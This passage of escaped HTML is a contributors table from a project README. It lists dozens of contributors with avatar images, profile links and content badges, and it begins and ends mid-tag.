Paradzayi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kudakwashe Paradzayi</b></sub></a><br /><a href=\"#content-kudapara\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.t1st3.com/\"><img src=\"https://avatars1.githubusercontent.com/u/1469638?v=4\" width=\"100px;\" alt=\"t1st3\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>t1st3</b></sub></a><br /><a href=\"#content-t1st3\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mulijordan1976\"><img src=\"https://avatars0.githubusercontent.com/u/33382022?v=4\" width=\"100px;\" alt=\"mulijordan1976\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mulijordan1976</b></sub></a><br /><a href=\"#content-mulijordan1976\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/matchai\"><img src=\"https://avatars0.githubusercontent.com/u/4658208?v=4\" width=\"100px;\" alt=\"Matan Kushner\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matan Kushner</b></sub></a><br /><a href=\"#content-matchai\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://fabiothiroki.github.io\"><img src=\"https://avatars2.githubusercontent.com/u/670057?v=4\" width=\"100px;\" alt=\"Fabio Hiroki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fabio Hiroki</b></sub></a><br /><a href=\"#content-fabiothiroki\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://james.sumners.info/\"><img src=\"https://avatars1.githubusercontent.com/u/321201?v=4\" width=\"100px;\" alt=\"James Sumners\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>James Sumners</b></sub></a><br /><a href=\"#content-jsumners\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/_DanGamble\"><img src=\"https://avatars2.githubusercontent.com/u/7152041?v=4\" width=\"100px;\" alt=\"Dan Gamble\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dan Gamble</b></sub></a><br /><a href=\"#content-dan-gamble\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/trainorpj\"><img src=\"https://avatars3.githubusercontent.com/u/13276704?v=4\" width=\"100px;\" alt=\"PJ Trainor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>PJ Trainor</b></sub></a><br /><a href=\"#content-trainorpj\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/reod\"><img src=\"https://avatars0.githubusercontent.com/u/3164299?v=4\" width=\"100px;\" alt=\"Remek Ambroziak\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Remek Ambroziak</b></sub></a><br /><a href=\"#content-reod\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ca.non.co.il\"><img src=\"https://avatars0.githubusercontent.com/u/1829789?v=4\" width=\"100px;\" alt=\"Yoni Jah\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yoni Jah</b></sub></a><br /><a href=\"#content-yonjah\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hazolsky\"><img src=\"https://avatars1.githubusercontent.com/u/1270790?v=4\" width=\"100px;\" alt=\"Misha Khokhlov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Misha Khokhlov</b></sub></a><br /><a href=\"#content-hazolsky\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://plus.google.com/+ЕвгенийОрехов/\"><img src=\"https://avatars3.githubusercontent.com/u/8045060?v=4\" width=\"100px;\" alt=\"Evgeny Orekhov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Evgeny Orekhov</b></sub></a><br /><a href=\"#content-EvgenyOrekhov\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/gediminasml\"><img src=\"https://avatars3.githubusercontent.com/u/19854105?v=4\" width=\"100px;\" alt=\"-\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>-</b></sub></a><br /><a href=\"#content-gediminasml\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hisaac.net\"><img src=\"https://avatars3.githubusercontent.com/u/923876?v=4\" width=\"100px;\" alt=\"Isaac Halvorson\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Isaac Halvorson</b></sub></a><br /><a href=\"#content-hisaac\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.vedrankaracic.com\"><img src=\"https://avatars3.githubusercontent.com/u/2808092?v=4\" width=\"100px;\" alt=\"Vedran Karačić\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vedran Karačić</b></sub></a><br /><a href=\"#content-vkaracic\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lallenlowe\"><img src=\"https://avatars3.githubusercontent.com/u/10761165?v=4\" width=\"100px;\" alt=\"lallenlowe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>lallenlowe</b></sub></a><br /><a href=\"#content-lallenlowe\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nwwells\"><img src=\"https://avatars2.githubusercontent.com/u/1039473?v=4\" width=\"100px;\" alt=\"Nathan Wells\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nathan Wells</b></sub></a><br /><a href=\"#content-nwwells\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/paulovitin\"><img src=\"https://avatars0.githubusercontent.com/u/125503?v=4\" width=\"100px;\" alt=\"Paulo Reis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Paulo Reis</b></sub></a><br /><a href=\"#content-paulovitin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://snap.simpego.ch\"><img src=\"https://avatars2.githubusercontent.com/u/1989646?v=4\" width=\"100px;\" alt=\"syzer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>syzer</b></sub></a><br /><a href=\"#content-syzer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sancho.dev\"><img src=\"https://avatars0.githubusercontent.com/u/3763599?v=4\" width=\"100px;\" alt=\"David Sancho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>David Sancho</b></sub></a><br /><a href=\"#content-davesnx\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://apiforge.it\"><img src=\"https://avatars0.githubusercontent.com/u/4929965?v=4\" width=\"100px;\" alt=\"Robert Manolea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Robert Manolea</b></sub></a><br /><a href=\"#content-pupix\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jumptoglide.com\"><img src=\"https://avatars2.githubusercontent.com/u/708395?v=4\" width=\"100px;\" alt=\"Xavier Ho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Xavier Ho</b></sub></a><br /><a href=\"#content-spaxe\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.ocular-rhythm.io\"><img src=\"https://avatars0.githubusercontent.com/u/2738518?v=4\" width=\"100px;\" alt=\"Aaron\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aaron</b></sub></a><br /><a href=\"#content-ocularrhythm\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://septa97.me\"><img src=\"https://avatars2.githubusercontent.com/u/13742634?v=4\" width=\"100px;\" alt=\"Jan Charles Maghirang Adona\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Charles Maghirang Adona</b></sub></a><br /><a href=\"#content-septa97\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.cakeresume.com/allenfang\"><img src=\"https://avatars2.githubusercontent.com/u/5351390?v=4\" width=\"100px;\" alt=\"Allen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Allen</b></sub></a><br /><a href=\"#content-AllenFang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leonardovillela\"><img src=\"https://avatars3.githubusercontent.com/u/8650543?v=4\" width=\"100px;\" alt=\"Leonardo Villela\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Leonardo Villela</b></sub></a><br /><a href=\"#content-leonardovillela\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://michalzalecki.com\"><img src=\"https://avatars1.githubusercontent.com/u/3136577?v=4\" width=\"100px;\" alt=\"Michał Załęcki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michał Załęcki</b></sub></a><br /><a href=\"#content-MichalZalecki\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.wealthbar.com\"><img src=\"https://avatars1.githubusercontent.com/u/156449?v=4\" width=\"100px;\" alt=\"Chris Nicola\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chris Nicola</b></sub></a><br /><a href=\"#content-chrisnicola\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/aecorredor\"><img src=\"https://avatars3.githubusercontent.com/u/9114987?v=4\" width=\"100px;\" alt=\"Alejandro Corredor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alejandro Corredor</b></sub></a><br /><a href=\"#content-aecorredor\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cwar\"><img src=\"https://avatars3.githubusercontent.com/u/272843?v=4\" width=\"100px;\" alt=\"cwar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>cwar</b></sub></a><br /><a href=\"#content-cwar\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyfoxth\"><img src=\"https://avatars3.githubusercontent.com/u/10647132?v=4\" width=\"100px;\" alt=\"Yuwei\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuwei</b></sub></a><br /><a href=\"#content-keyfoxth\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bigcodenerd.org\"><img src=\"https://avatars3.githubusercontent.com/u/10895594?v=4\" width=\"100px;\" alt=\"Utkarsh Bhatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Utkarsh Bhatt</b></sub></a><br /><a href=\"#content-utkarshbhatt12\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/duartemendes\"><img src=\"https://avatars2.githubusercontent.com/u/12852058?v=4\" width=\"100px;\" alt=\"Duarte Mendes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Duarte Mendes</b></sub></a><br /><a href=\"#content-duartemendes\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jasonkim.ca\"><img src=\"https://avatars2.githubusercontent.com/u/103456?v=4\" width=\"100px;\" alt=\"Jason Kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jason Kim</b></sub></a><br /><a href=\"#content-serv\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Max101\"><img src=\"https://avatars2.githubusercontent.com/u/2124249?v=4\" width=\"100px;\" alt=\"Mitja O.\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mitja O.</b></sub></a><br /><a href=\"#content-Max101\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sandromiguel.com\"><img src=\"https://avatars0.githubusercontent.com/u/6423157?v=4\" width=\"100px;\" alt=\"Sandro Miguel Marques\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sandro Miguel Marques</b></sub></a><br /><a href=\"#content-SandroMiguel\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GabeKuslansky\"><img src=\"https://avatars3.githubusercontent.com/u/9855482?v=4\" width=\"100px;\" alt=\"Gabe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabe</b></sub></a><br /><a href=\"#content-GabeKuslansky\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ripper234.com/\"><img src=\"https://avatars1.githubusercontent.com/u/172282?v=4\" width=\"100px;\" alt=\"Ron Gross\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ron Gross</b></sub></a><br /><a href=\"#content-ripper234\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.thecodebarbarian.com\"><img src=\"https://avatars2.githubusercontent.com/u/1620265?v=4\" width=\"100px;\" alt=\"Valeri Karpov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Valeri Karpov</b></sub></a><br /><a href=\"#content-vkarpov15\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://sergiobernal.com\"><img src=\"https://avatars3.githubusercontent.com/u/20087388?v=4\" width=\"100px;\" alt=\"Sergio Bernal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergio Bernal</b></sub></a><br /><a href=\"#content-imsergiobernal\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ntelkedzhiev\"><img src=\"https://avatars2.githubusercontent.com/u/7332371?v=4\" width=\"100px;\" alt=\"Nikola Telkedzhiev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nikola Telkedzhiev</b></sub></a><br /><a href=\"#content-ntelkedzhiev\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vitordagamagodoy\"><img src=\"https://avatars0.githubusercontent.com/u/26370059?v=4\" width=\"100px;\" alt=\"Vitor Godoy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vitor Godoy</b></sub></a><br /><a href=\"#content-vitordagamagodoy\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.manishsaraan.com/\"><img src=\"https://avatars2.githubusercontent.com/u/19797340?v=4\" width=\"100px;\" alt=\"Manish Saraan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Manish Saraan</b></sub></a><br /><a href=\"#content-manishsaraan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/uronly14me\"><img src=\"https://avatars2.githubusercontent.com/u/5186814?v=4\" width=\"100px;\" alt=\"Sangbeom Han\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sangbeom Han</b></sub></a><br /><a href=\"#content-uronly14me\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blackmatch.github.io\"><img src=\"https://avatars3.githubusercontent.com/u/12443954?v=4\" width=\"100px;\" alt=\"blackmatch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>blackmatch</b></sub></a><br /><a href=\"#content-blackmatch\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://simmsreeve.com\"><img src=\"https://avatars3.githubusercontent.com/u/5173131?v=4\" width=\"100px;\" alt=\"Joe Reeve\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joe Reeve</b></sub></a><br /><a href=\"#content-ISNIT0\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/BusbyActual\"><img src=\"https://avatars2.githubusercontent.com/u/14985016?v=4\" width=\"100px;\" alt=\"Ryan Busby\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Busby</b></sub></a><br /><a href=\"#content-BusbyActual\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jsdecorator.com\"><img src=\"https://avatars3.githubusercontent.com/u/4482199?v=4\" width=\"100px;\" alt=\"Iman Mohamadi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Iman Mohamadi</b></sub></a><br /><a href=\"#content-ImanMh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/HeeL\"><img src=\"https://avatars1.githubusercontent.com/u/287769?v=4\" width=\"100px;\" alt=\"Sergii Paryzhskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergii Paryzhskyi</b></sub></a><br /><a href=\"#content-HeeL\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kapilepatel\"><img src=\"https://avatars3.githubusercontent.com/u/25738473?v=4\" width=\"100px;\" alt=\"Kapil Patel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kapil Patel</b></sub></a><br /><a href=\"#content-kapilepatel\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/justjavac\"><img src=\"https://avatars1.githubusercontent.com/u/359395?v=4\" width=\"100px;\" alt=\"迷渡\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>迷渡</b></sub></a><br /><a href=\"#content-justjavac\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hozefaj\"><img src=\"https://avatars1.githubusercontent.com/u/2084833?v=4\" width=\"100px;\" alt=\"Hozefa\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hozefa</b></sub></a><br /><a href=\"#content-hozefaj\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/el-ethan\"><img src=\"https://avatars3.githubusercontent.com/u/10249884?v=4\" width=\"100px;\" alt=\"Ethan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ethan</b></sub></a><br /><a href=\"#content-el-ethan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/milkdeliver\"><img src=\"https://avatars2.githubusercontent.com/u/3108407?v=4\" width=\"100px;\" alt=\"Sam\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sam</b></sub></a><br /><a href=\"#content-milkdeliver\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ArlindXh\"><img src=\"https://avatars0.githubusercontent.com/u/19508764?v=4\" width=\"100px;\" alt=\"Arlind\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Arlind</b></sub></a><br /><a href=\"#content-ArlindXh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ttous\"><img src=\"https://avatars0.githubusercontent.com/u/19815440?v=4\" width=\"100px;\" alt=\"Teddy Toussaint\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Teddy Toussaint</b></sub></a><br /><a href=\"#content-ttous\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ardern.io\"><img src=\"https://avatars2.githubusercontent.com/u/2419690?v=4\" width=\"100px;\" alt=\"Lewis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lewis</b></sub></a><br /><a href=\"#content-LewisArdern\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://gabriellidenor.com/\"><img src=\"https://avatars2.githubusercontent.com/u/765963?v=4\" width=\"100px;\" alt=\"Gabriel Lidenor \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabriel Lidenor </b></sub></a><br /><a href=\"#content-GabrielLidenor\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/animir\"><img src=\"https://avatars3.githubusercontent.com/u/4623196?v=4\" width=\"100px;\" alt=\"Roman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Roman</b></sub></a><br /><a href=\"#content-animir\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Francozeira\"><img src=\"https://avatars1.githubusercontent.com/u/47419763?v=4\" width=\"100px;\" alt=\"Francozeira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Francozeira</b></sub></a><br /><a href=\"#content-Francozeira\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/invvard\"><img src=\"https://avatars0.githubusercontent.com/u/7305493?v=4\" width=\"100px;\" alt=\"Invvard\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Invvard</b></sub></a><br /><a href=\"#content-Invvard\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://romulogarofalo.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/18492592?v=4\" width=\"100px;\" alt=\"Rômulo Garofalo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rômulo Garofalo</b></sub></a><br /><a href=\"#content-romulogarofalo\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://thoqbk.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/1491103?v=4\" width=\"100px;\" alt=\"Tho Q Luong\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tho Q Luong</b></sub></a><br /><a href=\"#content-thoqbk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Qeneke\"><img src=\"https://avatars2.githubusercontent.com/u/20271568?v=4\" width=\"100px;\" alt=\"Burak Shen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Burak Shen</b></sub></a><br /><a href=\"#content-Qeneke\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.happy-css.com\"><img src=\"https://avatars0.githubusercontent.com/u/2950505?v=4\" width=\"100px;\" alt=\"Martin Muzatko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Martin Muzatko</b></sub></a><br /><a href=\"#content-MartinMuzatko\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/autoboxer\"><img src=\"https://avatars3.githubusercontent.com/u/2757601?v=4\" width=\"100px;\" alt=\"Jared Collier\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jared Collier</b></sub></a><br /><a href=\"#content-autoboxer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hiltonmeyer.com\"><img src=\"https://avatars3.githubusercontent.com/u/4545860?v=4\" width=\"100px;\" alt=\"Hilton Meyer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hilton Meyer</b></sub></a><br /><a href=\"#content-bikingbadger\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kr.vuejs.org\"><img src=\"https://avatars0.githubusercontent.com/u/1451365?v=4\" width=\"100px;\" alt=\"ChangJoo Park(박창주)\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ChangJoo Park(박창주)</b></sub></a><br /><a href=\"#content-ChangJoo-Park\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a 